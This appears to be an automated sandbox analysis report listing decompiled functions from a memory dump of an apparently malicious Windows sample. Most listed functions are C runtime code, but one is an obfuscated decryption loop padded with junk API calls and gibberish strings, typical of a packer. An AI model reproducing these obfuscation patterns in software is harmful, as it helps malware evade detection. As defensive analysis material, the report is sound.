Part of subcall function 004054D0: TlsGetValue.KERNEL32(00000004,?,00405549,00000000,00406E4E,0041B9E8,00000000,00000314,?,004030BB,0041B9E8,Microsoft Visual C++ Runtime Library,00012010), ref: 004054F9
Part of subcall function 004054D0: RtlEncodePointer.NTDLL(00000000,?,00405549,00000000,00406E4E,0041B9E8,00000000,00000314,?,004030BB,0041B9E8,Microsoft Visual C++ Runtime Library,00012010), ref: 00405537

Memory Dump Source

Source File: 00000000.00000002.237297392.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237292267.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237314829.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237331576.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237338839.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237368615.000000000041B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237617176.0000000002CA8000.00000002.00020000.sdmp Download File

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: fc4c465e922b7e49159ae606e6cbf2c049dfd61a418150ea57b4b123d930dfe4
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004028ED, Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E004028ED(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x418158; // 0xf9737a8a
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x41c090 = _t6;
				 *0x41c08c = _t22;
				 *0x41c088 = _t25;
				 *0x41c084 = _t21;
				 *0x41c080 = _t27;
				 *0x41c07c = _t26;
				 *0x41c0a8 = ss;
				 *0x41c09c = cs;
				 *0x41c078 = ds;
				 *0x41c074 = es;
				 *0x41c070 = fs;
				 *0x41c06c = gs;
				asm("pushfd");
				_pop( *0x41c0a0);
				 *0x41c094 =  *_t31;
				 *0x41c098 = _v0;
				 *0x41c0a4 =  &_a4;
				 *0x41bfe0 = 0x10001;
				 *0x41bf94 =  *0x41c098;
				 *0x41bf88 = 0xc0000409;
				 *0x41bf8c = 1;
				_t12 =  *0x418158; // 0xf9737a8a
				_v812 = _t12;
				_t13 =  *0x41815c; // 0x68c8575
				_v808 = _t13;
				 *0x41bfd8 = IsDebuggerPresent();
				_push(1);
				E00407285(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x4139ac);
				if( *0x41bfd8 == 0) {
					_push(1);
					E00407285(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x004028ed
0x004028ed
0x004028ed
0x004028ed
0x004028ed
0x004028ed
0x004028ed
0x004028f3
0x004028f5
0x004028f5
0x004068b7
0x004068bc
0x004068c2
0x004068c8
0x004068ce
0x004068d4
0x004068da
0x004068e1
0x004068e8
0x004068ef
0x004068f6
0x004068fd
0x00406904
0x00406905
0x0040690e
0x00406916
0x0040691e
0x00406929
0x00406938
0x0040693d
0x00406947
0x00406951
0x00406956
0x0040695c
0x00406961
0x0040696d
0x00406972
0x00406974
0x0040697c
0x00406987
0x00406994
0x00406996
0x00406998
0x0040699d
0x004069b1

APIs

IsDebuggerPresent.KERNEL32 ref: 00406967
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040697C
UnhandledExceptionFilter.KERNEL32(004139AC), ref: 00406987
GetCurrentProcess.KERNEL32(C0000409), ref: 004069A3
TerminateProcess.KERNEL32(00000000), ref: 004069AA

Memory Dump Source

Source File: 00000000.00000002.237297392.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237292267.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237314829.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237331576.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237338839.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237368615.000000000041B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237617176.0000000002CA8000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 7e93dcf6341cd1178761c27de9bb1734de1cd33be2c04b717f899633212628be
Instruction ID: 42361d2dec0442b401785713c94d430731ef85f763c390135ab3b43b5cccdd19
Opcode Fuzzy Hash: 7e93dcf6341cd1178761c27de9bb1734de1cd33be2c04b717f899633212628be
Instruction Fuzzy Hash: 60219AB5981204EFD740DFA5FC897847BA4BB0C305F11C13AEA0D963A0E7B59A868F5D

Uniqueness

Uniqueness Score: -1.00%

Function 00404BF8, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404BF8() {

				SetUnhandledExceptionFilter(E00404BB6);
				return 0;
			}

0x00404bfd
0x00404c05

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00004BB6), ref: 00404BFD

Memory Dump Source

Source File: 00000000.00000002.237297392.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237292267.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237314829.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237331576.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237338839.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237368615.000000000041B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237617176.0000000002CA8000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 61233805ccefb33cdafbe5d171aba1e65b1c1fa64596751f68fc00a287101de7
Instruction ID: dbcf7f8156f845a6ca714f977dee7f9486e2a6d0789a98bf59fb0b1765e7c98e
Opcode Fuzzy Hash: 61233805ccefb33cdafbe5d171aba1e65b1c1fa64596751f68fc00a287101de7
Instruction Fuzzy Hash: 989002A035111086CA00DB715C096457AE45A8C613751C4B1A102D4098DAB6D600956A

Uniqueness

Uniqueness Score: -1.00%

Function 00401092, Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 189
memorylibrarythreadCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00401092(unsigned int* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				char _v24;
				unsigned int _v28;
				unsigned int _v32;
				char _v36;
				long _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				long _v56;
				long _v60;
				long _v64;
				long _v68;
				char _v72;
				struct _INPUT_RECORD _v92;
				char _v376;
				char _v1400;
				void* __ebx;
				void* __edi;
				unsigned int* _t74;
				intOrPtr _t76;
				long _t77;
				intOrPtr _t79;
				intOrPtr _t80;
				unsigned int* _t106;
				signed int _t132;
				void* _t133;
				unsigned int _t142;
				unsigned int _t143;

				_t74 = _a4;
				_t143 =  *_t74;
				_v28 = _t143;
				_v32 = _t74[1];
				if( *0x2c3f45c == 0x134) {
					ResetEvent(0);
					IsBadWritePtr(0, 0);
					__imp__SetThreadUILanguage(0);
					PeekConsoleInputW(0,  &_v92, 0,  &_v40);
					GlobalGetAtomNameA(0,  &_v1400, 0);
				}
				_v24 = 0;
				if( *0x2c3f45c == 0x114e) {
					SetFileApisToANSI();
				}
				_t76 =  *0x418d18; // 0xf9153327
				_v48 = _t76;
				_t77 =  *0x418d1c; // 0x67c0990e
				_v40 = _t77;
				E00401085( &_v24, _t133);
				_v24 = _v24 + 0x54;
				if( *0x2c3f45c == 0xb54) {
					FlushFileBuffers(0);
					__imp__FindFirstVolumeA( &_v1400, 0);
					LocalUnlock(0);
				}
				_t79 =  *0x418d20; // 0x9c6214f1
				_v52 = _t79;
				_t80 =  *0x418d24; // 0x6f9f3677
				_v44 = _t80;
				_v36 = 0x20;
				while(1) {
					_v16 = 2;
					_v16 = _v16 + 3;
					E00401075(_t143,  &_v8);
					if( *0x2c3f45c == 0x4c3) {
						LocalAlloc(0, 0);
						LoadLibraryA("hizejikekacuwawidobikopaganinetayizufuluyijoyegixoyobohamepoxedujohuyokuyusu");
						__imp__ChangeTimerQueueTimer(0, 0, 0, 0);
						__imp__EnumDateFormatsExA(0, 0, 0);
					}
					_v8 = _v8 + _v52;
					if( *0x2c3f45c == 0xfa9) {
						 *0x2c3f458 = 0xedeb2e40;
					}
					_t132 = _v24 + _t143;
					_t144 = _t143 >> _v16;
					 *0x2c3f454 = 0x9150ce2e;
					_v12 = _t143 >> _v16;
					_v12 = _v12 + _v44;
					if( *0x2c3f45c == 0x67) {
						__imp__GetConsoleProcessList( &_v72, 0);
						InterlockedDecrement( &_v64);
						 *0x2c3c24c = 0;
					}
					_v8 = _v8 ^ _t132;
					_v12 = _v12 ^ _v8;
					if( *0x2c3f45c == 0x22) {
						GetConsoleCP();
						WriteConsoleA(0, 0, 0,  &_v56, 0);
						__imp__SetVolumeMountPointA("fuvawivuyijulona", "dapibakazubanukufileture hoyulasato bivefuvoduyuzabotojupakiwoho");
						ReadConsoleInputA(0,  &_v92, 0,  &_v68);
						__imp__GetCPInfoExA(0, 0,  &_v376);
						GetSystemDefaultLangID();
						__imp__EnumCalendarInfoExW(0, 0, 0, 0);
						InterlockedExchange( &_v60, 0);
					}
					E0040108F( &_v32, _v12);
					_v20 = 0;
					_v20 = _v20 - 0x5396dd36;
					_v20 = _v20 + 0x5396dd3a;
					_t142 = _v32;
					_v8 = _t142 << _v20;
					_v8 = _v8 + _v48;
					_v12 = _t142 >> 5;
					E0040108C( &_v12, _v40);
					_v8 = E0040107E(_v8, _v24 + _t142);
					E0040107B( &_v8, _t132, _v12);
					 *0x437808 = 0;
					E0040108F( &_v28, _v8);
					E0040106E( &_v24, _v8, _t144);
					_t69 =  &_v36;
					 *_t69 = _v36 - 1;
					if( *_t69 == 0) {
						break;
					}
					_t143 = _v28;
				}
				_t106 = _a4;
				 *_t106 = _v28;
				_t106[1] = _t142;
				return _t106;
			}

0x0040109b
0x004010a1
0x004010b2
0x004010b5
0x004010b8
0x004010bb
0x004010c3
0x004010ca
0x004010da
0x004010e9
0x004010e9
0x004010f9
0x004010fc
0x004010fe
0x004010fe
0x00401104
0x00401109
0x0040110c
0x00401111
0x00401117
0x0040111c
0x0040112a
0x0040112d
0x0040113b
0x00401142
0x00401142
0x00401148
0x0040114d
0x00401150
0x00401155
0x00401158
0x00401164
0x00401164
0x0040116b
0x00401174
0x00401183
0x00401187
0x00401192
0x0040119c
0x004011a5
0x004011a5
0x004011ae
0x004011bb
0x004011bd
0x004011bd
0x004011cd
0x004011d0
0x004011d2
0x004011dc
0x004011e2
0x004011ec
0x004011f3
0x004011fd
0x00401203
0x00401203
0x00401209
0x0040120f
0x00401219
0x0040121b
0x00401229
0x00401239
0x00401249
0x00401258
0x0040125e
0x00401268
0x00401273
0x00401273
0x0040127f
0x00401284
0x0040128c
0x00401293
0x0040129a
0x004012a4
0x004012aa
0x004012b5
0x004012bb
0x004012d1
0x004012d7
0x004012e2
0x004012e8
0x004012f0
0x004012f5
0x004012f5
0x004012f8
0x00000000
0x00000000
0x00401161
0x00401161
0x004012fe
0x00401306
0x00401308
0x0040130d

APIs

ResetEvent.KERNEL32(00000000), ref: 004010BB
IsBadWritePtr.KERNEL32(00000000,00000000), ref: 004010C3
SetThreadUILanguage.KERNEL32(00000000), ref: 004010CA
PeekConsoleInputW.KERNEL32(00000000,?,00000000,?), ref: 004010DA
GlobalGetAtomNameA.KERNEL32 ref: 004010E9
SetFileApisToANSI.KERNEL32 ref: 004010FE
FlushFileBuffers.KERNEL32(00000000), ref: 0040112D
FindFirstVolumeA.KERNEL32(?,00000000), ref: 0040113B
LocalUnlock.KERNEL32(00000000), ref: 00401142
LocalAlloc.KERNEL32(00000000,00000000,00000054), ref: 00401187
LoadLibraryA.KERNEL32(hizejikekacuwawidobikopaganinetayizufuluyijoyegixoyobohamepoxedujohuyokuyusu), ref: 00401192
ChangeTimerQueueTimer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040119C
EnumDateFormatsExA.KERNEL32(00000000,00000000,00000000), ref: 004011A5
GetConsoleProcessList.KERNEL32(?,00000000), ref: 004011F3
InterlockedDecrement.KERNEL32(?), ref: 004011FD
GetConsoleCP.KERNEL32 ref: 0040121B
WriteConsoleA.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00401229
SetVolumeMountPointA.KERNEL32(fuvawivuyijulona,dapibakazubanukufileture hoyulasato bivefuvoduyuzabotojupakiwoho), ref: 00401239
ReadConsoleInputA.KERNEL32(00000000,?,00000000,?), ref: 00401249
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 00401258
GetSystemDefaultLangID.KERNEL32 ref: 0040125E
EnumCalendarInfoExW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00401268
InterlockedExchange.KERNEL32(?,00000000), ref: 00401273

Strings

fuvawivuyijulona, xrefs: 00401234
hizejikekacuwawidobikopaganinetayizufuluyijoyegixoyobohamepoxedujohuyokuyusu, xrefs: 0040118D
dapibakazubanukufileture hoyulasato bivefuvoduyuzabotojupakiwoho, xrefs: 0040122F
T, xrefs: 0040111C
, xrefs: 00401158

Memory Dump Source

Source File: 00000000.00000002.237297392.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237292267.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237314829.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237331576.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237338839.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237368615.000000000041B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237617176.0000000002CA8000.00000002.00020000.sdmp Download File

Similarity

API ID: Console$EnumFileInfoInputInterlockedLocalTimerVolumeWrite$AllocApisAtomBuffersCalendarChangeDateDecrementDefaultEventExchangeFindFirstFlushFormatsGlobalLangLanguageLibraryListLoadMountNamePeekPointProcessQueueReadResetSystemThreadUnlock
String ID: $T$dapibakazubanukufileture hoyulasato bivefuvoduyuzabotojupakiwoho$fuvawivuyijulona$hizejikekacuwawidobikopaganinetayizufuluyijoyegixoyobohamepoxedujohuyokuyusu
API String ID: 155166124-1954814413
Opcode ID: 57b01cf3dcee7ccaf551c44ccae6392b48dd8e5a0f232fe8a73a6d3c1f33cbe4
Instruction ID: bb129d622ae3bbf7080dbbde3840df7c30caff04d8a77d8b0830fafe9c8de2d8
Opcode Fuzzy Hash: 57b01cf3dcee7ccaf551c44ccae6392b48dd8e5a0f232fe8a73a6d3c1f33cbe4
Instruction Fuzzy Hash: AB711671D01219EFCB11DFA5EC489DEBFB8FF09316B10846AE505A2264C7349B45CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00401310, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 63
timeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00401310() {
				void* _v6;
				struct _COORD _v8;
				void* _v10;
				struct _COORD _v12;
				unsigned int _v16;
				void* _v20;
				struct _CHAR_INFO _v24;
				struct _SMALL_RECT _v32;
				unsigned int _t15;
				unsigned int* _t25;
				unsigned int* _t27;

				_t27 =  *0x2c3c250;
				_t15 =  *0x2c3f45c >> 3;
				if(_t15 > 0) {
					_t25 = _t27;
					_v16 = _t15;
					do {
						if( *0x2c3f45c == 0xae9) {
							_v12.X = 0;
							asm("stosw");
							_v8.X = 0;
							asm("stosw");
							WriteConsoleOutputA(0,  &_v24, _v12, _v8,  &_v32);
							GetEnvironmentStrings();
							__imp__GetConsoleAliasesLengthW(0);
							GetModuleFileNameW(0, 0, 0);
							_v20 = 0;
							__imp__CreateTimerQueueTimer( &_v20, 0, 0, 0, 0, 0, 0);
							SetLastError(0);
							BeginUpdateResourceW(L"Calijucomesi copukasive mib tepexa", 0);
						}
						_t15 = E00401092(_t25);
						_t25 = _t25 + 8;
						_t12 =  &_v16;
						 *_t12 = _v16 - 1;
					} while ( *_t12 != 0);
				}
				return _t15;
			}

0x00401318
0x00401322
0x00401329
0x00401331
0x00401333
0x00401336
0x00401340
0x00401344
0x0040134b
0x0040134d
0x00401354
0x00401365
0x0040136b
0x00401372
0x0040137b
0x0040138b
0x0040138e
0x00401395
0x004013a1
0x004013a1
0x004013a8
0x004013ad
0x004013b0
0x004013b0
0x004013b0
0x004013b6
0x004013b9

APIs

WriteConsoleOutputA.KERNEL32(00000000,?,?,?,?), ref: 00401365
GetEnvironmentStrings.KERNEL32 ref: 0040136B
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 00401372
GetModuleFileNameW.KERNEL32(00000000,00000000,00000000), ref: 0040137B
CreateTimerQueueTimer.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040138E
SetLastError.KERNEL32(00000000), ref: 00401395
BeginUpdateResourceW.KERNEL32 ref: 004013A1

Strings

Calijucomesi copukasive mib tepexa, xrefs: 0040139C

Memory Dump Source

Source File: 00000000.00000002.237297392.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237292267.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237314829.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237331576.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237338839.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237368615.000000000041B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237617176.0000000002CA8000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleTimer$AliasesBeginCreateEnvironmentErrorFileLastLengthModuleNameOutputQueueResourceStringsUpdateWrite
String ID: Calijucomesi copukasive mib tepexa
API String ID: 413743283-4008202637
Opcode ID: 36e9b2411cf63cf2131a8abdcbc80e3ecb09fbf4d26370193649722e8f9487c8
Instruction ID: 16fd0654a0b09cafb95dc9d8c153e5081ac26997d6cb3467c1335e3ec66de758
Opcode Fuzzy Hash: 36e9b2411cf63cf2131a8abdcbc80e3ecb09fbf4d26370193649722e8f9487c8
Instruction Fuzzy Hash: E8110A72941118BFCB01EFE4DC489EFBBB8FF49705B00856AF605E2154D73857058BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405E63, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00405E63(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t48;
				intOrPtr _t57;
				void* _t58;
				void* _t61;

				_t61 = __eflags;
				_push(0x2c);
				_push(0x416328);
				E004043B0(__ebx, __edi, __esi);
				_t48 = __ecx;
				_t55 =  *((intOrPtr*)(_t58 + 0xc));
				_t57 =  *((intOrPtr*)(_t58 + 8));
				 *((intOrPtr*)(_t58 - 0x1c)) = __ecx;
				 *(_t58 - 0x34) =  *(_t58 - 0x34) & 0x00000000;
				 *((intOrPtr*)(_t58 - 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0xc)) - 4));
				 *((intOrPtr*)(_t58 - 0x28)) = E004027E8(_t58 - 0x3c,  *((intOrPtr*)(_t57 + 0x18)));
				 *((intOrPtr*)(_t58 - 0x2c)) =  *((intOrPtr*)(E00405797(__ecx, _t61) + 0x88));
				 *((intOrPtr*)(_t58 - 0x30)) =  *((intOrPtr*)(E00405797(_t48, _t61) + 0x8c));
				 *((intOrPtr*)(E00405797(_t48, _t61) + 0x88)) = _t57;
				 *((intOrPtr*)(E00405797(_t48, _t61) + 0x8c)) =  *((intOrPtr*)(_t58 + 0x10));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *((intOrPtr*)(_t58 + 0x10)) = 1;
				 *(_t58 - 4) = 1;
				 *((intOrPtr*)(_t58 - 0x1c)) = E0040288D(_t55,  *((intOrPtr*)(_t58 + 0x14)), _t48,  *((intOrPtr*)(_t58 + 0x18)),  *((intOrPtr*)(_t58 + 0x1c)));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *(_t58 - 4) = 0xfffffffe;
				 *((intOrPtr*)(_t58 + 0x10)) = 0;
				E00405F89(_t48, __edx, _t55, _t57, _t61);
				return E004043F5( *((intOrPtr*)(_t58 - 0x1c)));
			}

0x00405e63
0x00405e63
0x00405e65
0x00405e6a
0x00405e6f
0x00405e71
0x00405e74
0x00405e77
0x00405e7a
0x00405e81
0x00405e92
0x00405ea0
0x00405eae
0x00405eb6
0x00405ec4
0x00405eca
0x00405ed1
0x00405ed4
0x00405eea
0x00405eed
0x00405f62
0x00405f69
0x00405f70
0x00405f7d

APIs

__CreateFrameInfo.LIBCMT ref: 00405E8B

Part of subcall function 004027E8: __getptd.LIBCMT ref: 004027F6
Part of subcall function 004027E8: __getptd.LIBCMT ref: 00402804

__getptd.LIBCMT ref: 00405E95

Part of subcall function 00405797: __getptd_noexit.LIBCMT ref: 0040579A
Part of subcall function 00405797: __amsg_exit.LIBCMT ref: 004057A7

__getptd.LIBCMT ref: 00405EA3
__getptd.LIBCMT ref: 00405EB1
__getptd.LIBCMT ref: 00405EBC
_CallCatchBlock2.LIBCMT ref: 00405EE2

Part of subcall function 0040288D: __CallSettingFrame@12.LIBCMT ref: 004028D9

Part of subcall function 00405F89: __getptd.LIBCMT ref: 00405F98
Part of subcall function 00405F89: __getptd.LIBCMT ref: 00405FA6

Memory Dump Source

Source File: 00000000.00000002.237297392.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237292267.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237314829.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237331576.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237338839.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237368615.000000000041B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237617176.0000000002CA8000.00000002.00020000.sdmp Download File

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 8c2479271a9d22df5de0d91dafbe53d4de90d6693d23688c485164c91209bcf0
Instruction ID: 4cb6f3142549184bfe9040d3a88adb19c1440e4a6f6d3ba336e4586f9adccc47
Opcode Fuzzy Hash: 8c2479271a9d22df5de0d91dafbe53d4de90d6693d23688c485164c91209bcf0
Instruction Fuzzy Hash: 0811DAB5D00209DFDB04EFA5D945AEE7BB0FF08318F1084AAF814A7291DB7C99159F64

Uniqueness

Uniqueness Score: -1.00%

Function 00405BB2, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00405BB2(void* __edx, void* __edi, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				void* _t23;
				void* _t24;

				_t25 = __edi;
				_t24 = __edx;
				_t11 =  *((intOrPtr*)( *_a4));
				if(_t11 == 0xe0434f4d) {
					__eflags =  *((intOrPtr*)(E00405797(_t23, __eflags) + 0x90));
					if(__eflags > 0) {
						_t15 = E00405797(_t23, __eflags) + 0x90;
						 *_t15 =  *_t15 - 1;
						__eflags =  *_t15;
					}
					goto L5;
				} else {
					_t32 = _t11 - 0xe06d7363;
					if(_t11 != 0xe06d7363) {
						L5:
						__eflags = 0;
						return 0;
					} else {
						 *(E00405797(_t23, _t32) + 0x90) =  *(_t16 + 0x90) & 0x00000000;
						_push(8);
						_push(0x4163c8);
						E004043B0(_t23, __edi, __esi);
						_t19 =  *((intOrPtr*)(E00405797(_t23, _t32) + 0x78));
						if(_t19 != 0) {
							_v8 = _v8 & 0x00000000;
							 *_t19();
							_v8 = 0xfffffffe;
						}
						return E004043F5(E00401D6E(_t23, _t24, _t25));
					}
				}
			}

0x00405bb2
0x00405bb2
0x00405bbc
0x00405bc3
0x00405be2
0x00405be9
0x00405bf0
0x00405bf5
0x00405bf5
0x00405bf5
0x00000000
0x00405bc5
0x00405bc5
0x00405bca
0x00405bf7
0x00405bf7
0x00405bfa
0x00405bcc
0x00405bd1
0x004067bc
0x004067be
0x004067c3
0x004067cd
0x004067d2
0x004067d4
0x004067d8
0x004067e3
0x004067e3
0x004067f4
0x004067f4
0x00405bca

APIs

__getptd.LIBCMT ref: 00405BCC

Part of subcall function 00405797: __getptd_noexit.LIBCMT ref: 0040579A
Part of subcall function 00405797: __amsg_exit.LIBCMT ref: 004057A7

__getptd.LIBCMT ref: 00405BDD
__getptd.LIBCMT ref: 00405BEB

Strings

csm, xrefs: 00405BC5
MOC, xrefs: 00405BBE

Memory Dump Source

Source File: 00000000.00000002.237297392.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237292267.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237314829.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237331576.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237338839.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237368615.000000000041B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237617176.0000000002CA8000.00000002.00020000.sdmp Download File

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$csm
API String ID: 803148776-1389381023
Opcode ID: 04f8e9c8184dc1a1b5bd0a4f571f693d91480e1b5a8edbbeedc966134b067a88
Instruction ID: 1cb961b2514425ab31cd56561f99371870b91c81fed4f03289057ec3a9c76592
Opcode Fuzzy Hash: 04f8e9c8184dc1a1b5bd0a4f571f693d91480e1b5a8edbbeedc966134b067a88
Instruction Fuzzy Hash: 67E09A355106088FD714AB65C446B6A36A4FB49319F1540B6E408DB3A2EB3DF890AE6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040779E, Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E0040779E(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t29;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x416488);
				E004043B0(__ebx, __edi, __esi);
				_t31 = E00405797(__ebx, _t35);
				_t15 =  *0x418ae0; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E004038B9(_t25, _t31, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x4188e0; // 0x4a61600
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x4184b8;
								if(__eflags != 0) {
									_push(_t33);
									E004036AF(_t25, _t29, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x4188e0; // 0x4a61600
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x4188e0; // 0x4a61600
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00407839();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E004029A9(_t29, 0x20);
				}
				return E004043F5(_t33);
			}

0x0040779e
0x0040779e
0x0040779e
0x0040779e
0x004077a0
0x004077a5
0x004077af
0x004077b1
0x004077b9
0x004077da
0x004077e0
0x004077e4
0x004077e7
0x004077ea
0x004077f0
0x004077f2
0x004077f4
0x004077f7
0x004077fd
0x004077ff
0x00407801
0x00407807
0x00407809
0x0040780a
0x0040780f
0x00407807
0x004077ff
0x00407810
0x00407815
0x00407818
0x0040781e
0x00407822
0x00407822
0x00407828
0x0040782f
0x004077c1
0x004077c1
0x004077c1
0x004077c6
0x004077ca
0x004077cf
0x004077d7

APIs

__getptd.LIBCMT ref: 004077AA

Part of subcall function 00405797: __getptd_noexit.LIBCMT ref: 0040579A
Part of subcall function 00405797: __amsg_exit.LIBCMT ref: 004057A7

__amsg_exit.LIBCMT ref: 004077CA
__lock.LIBCMT ref: 004077DA
InterlockedDecrement.KERNEL32(?), ref: 004077F7
InterlockedIncrement.KERNEL32(04A61600), ref: 00407822

Memory Dump Source

Source File: 00000000.00000002.237297392.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237292267.0000000000400000.00000002.00020000.sdmp Download File
